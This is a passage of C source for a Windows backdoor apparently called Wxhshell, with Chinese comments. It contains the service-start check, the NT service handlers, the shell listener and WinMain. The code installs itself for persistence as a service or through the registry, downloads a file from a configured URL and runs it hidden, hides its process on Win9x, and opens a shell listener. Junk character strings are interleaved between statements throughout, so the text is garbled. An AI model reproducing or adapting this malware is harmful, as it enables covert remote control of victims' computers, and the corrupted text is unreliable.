-LnA 194)QeoFw hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y dA8wL if(hProcess==NULL) return 0; TF\C@4Z S9y} HMODULE hMod; b2Fe<~S{ char procName[255]; K($Npuu] unsigned long cbNeeded; 6<QQ@5_ r#p9x[f<Y if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +~$ ]}% EW OVx*l CloseHandle(hProcess); <iC(`J$D j</: WRA`] if(strstr(procName,"services")) return 1; // 以服务启动 g*_& %ntRG! return 0; // 注册表启动 /$?}YL, } Xl#ggub? A?P_DA // 主模块 r),kDia int StartWxhshell(LPSTR lpCmdLine) IOmfF[ { .t!x<B SOCKET wsl; +I|vzz`ZVr BOOL val=TRUE; uw_Y\F-$ int port=0; \ Gvm9M struct sockaddr_in door; &j"?\f? ^}o 2 if(wscfg.ws_autoins) Install(); #q=Efn' 8cIKvHx port=atoi(lpCmdLine); k?^z;Tlvw q>+k@>bk@ if(port<=0) port=wscfg.ws_port; VY4yS*y sDlO# WSADATA data; %P|/A+Mg" if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +=</&Tm %7.30CA|# if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; hRhe& ,v setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tT_\ i6My door.sin_family = AF_INET; {JMVV_}n door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5U$0F$BBp door.sin_port = htons(port); '\iCP1>+S )3EY; if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0aB;p7~& closesocket(wsl); mCVFS=8V return 1; /y}xX } vA8nvoi !%c\N8<>GD if(listen(wsl,2) == INVALID_SOCKET) { )Ql%r?(F+ closesocket(wsl); Vt#.eL)Ee return 1; e(t\g^X } E:nF$#<'N Wxhshell(wsl); NC(~l WSACleanup(); zQd
2 64tvP^kp return 0; k5pN %*}(}~ } 2\{zmc}G-0 uKHxe~ // 以NT服务方式启动 DB}eA N/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4H&+dRI" { Rima;9.Y0 DWORD status = 0; AoxA+.O DWORD specificError = 0xfffffff; U>N1Od4vTO N<}5A% serviceStatus.dwServiceType = SERVICE_WIN32; T_4/C2 serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,k3FRes3 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fNFY$:4X serviceStatus.dwWin32ExitCode = 0; /k3:']G,s serviceStatus.dwServiceSpecificExitCode = 0; oCz/HQoBk serviceStatus.dwCheckPoint = 0; /7YIn3 serviceStatus.dwWaitHint = 0; <RL] <)D$51 &0 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9\7en%( M if (hServiceStatusHandle==0) return; cbTm'}R(G i9x+A/o[ status = GetLastError(); /j.9$H'y if (status!=NO_ERROR) >4CbwwMA { _oeS Uzq. serviceStatus.dwCurrentState = SERVICE_STOPPED; gg2(5FPP serviceStatus.dwCheckPoint = 0; `;egv*!P serviceStatus.dwWaitHint = 0; I; rGD^ serviceStatus.dwWin32ExitCode = status; .Z *'d serviceStatus.dwServiceSpecificExitCode = specificError; N;`n@9BF SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8Zd]wYO return; =T7.~W } 0o&5]lEe ]D\D~!R serviceStatus.dwCurrentState = SERVICE_RUNNING; VI*$em O0 serviceStatus.dwCheckPoint = 0; l*G[!u serviceStatus.dwWaitHint = 0; X"%gQ.1|{j if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yJIscwF } o }m3y vnuN6M{ // 处理NT服务事件,比如:启动、停止 5v*\Zr5ha VOID WINAPI NTServiceHandler(DWORD fdwControl) nX8v+:&} { c-sfg>0 ^ switch(fdwControl) 5Gm_\kd { c7H^$_^ = case SERVICE_CONTROL_STOP: y?3;06y| serviceStatus.dwWin32ExitCode = 0; K{+2G&i serviceStatus.dwCurrentState = SERVICE_STOPPED; KMax$ serviceStatus.dwCheckPoint = 0; _|`S3}q|d serviceStatus.dwWaitHint = 0; A@#E@;lm { pd$[8Rmj_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); a d\ot#V } 4_ML],. return; 6_B]MN!( case SERVICE_CONTROL_PAUSE: }^\oCR@ serviceStatus.dwCurrentState = SERVICE_PAUSED; ~a2}(] break; !dq.KwL case SERVICE_CONTROL_CONTINUE: f
_:A0 serviceStatus.dwCurrentState = SERVICE_RUNNING; j1<Yg,_.p break; /PKN LK case SERVICE_CONTROL_INTERROGATE: #KvlYZ+1 break; M<&= S }; ;$Jo+# SetServiceStatus(hServiceStatusHandle, &serviceStatus); {P-): } 1|=A*T-<M |Y.?_lC // 标准应用程序主函数 {M)Nnst"~ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &H+xzN { 'Pbr
v rPm x // 获取操作系统版本 yB!dp;gM{ OsIsNt=GetOsVer(); x4O~q0>:Le GetModuleFileName(NULL,ExeFile,MAX_PATH); +kD
R.E: `WS&rmq&' // 从命令行安装
v"0J&7!J if(strpbrk(lpCmdLine,"iI")) Install(); DHRlWQox -Lg
Ei3m // 下载执行文件 f6p/5]=J26 if(wscfg.ws_downexe) { dc'Y`e if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) izR"+v WinExec(wscfg.ws_filenam,SW_HIDE); ~}Pfu } P$,Ke< [#iz/q~} if(!OsIsNt) { NHE18_v5 // 如果时win9x,隐藏进程并且设置为注册表启动 *n!J=yS HideProc(); "J1
4C9u
StartWxhshell(lpCmdLine); "r2 r } 2fS:-
8N else vih9KBT if(StartFromService()) J[kTlHMD // 以服务方式启动 Dt1jW StartServiceCtrlDispatcher(DispatchTable); G!yPw:X else 2~2 O V // 普通方式启动 2`-Bs StartWxhshell(lpCmdLine); ,]D,P w!XD/jN return 0; QZ8IV> }
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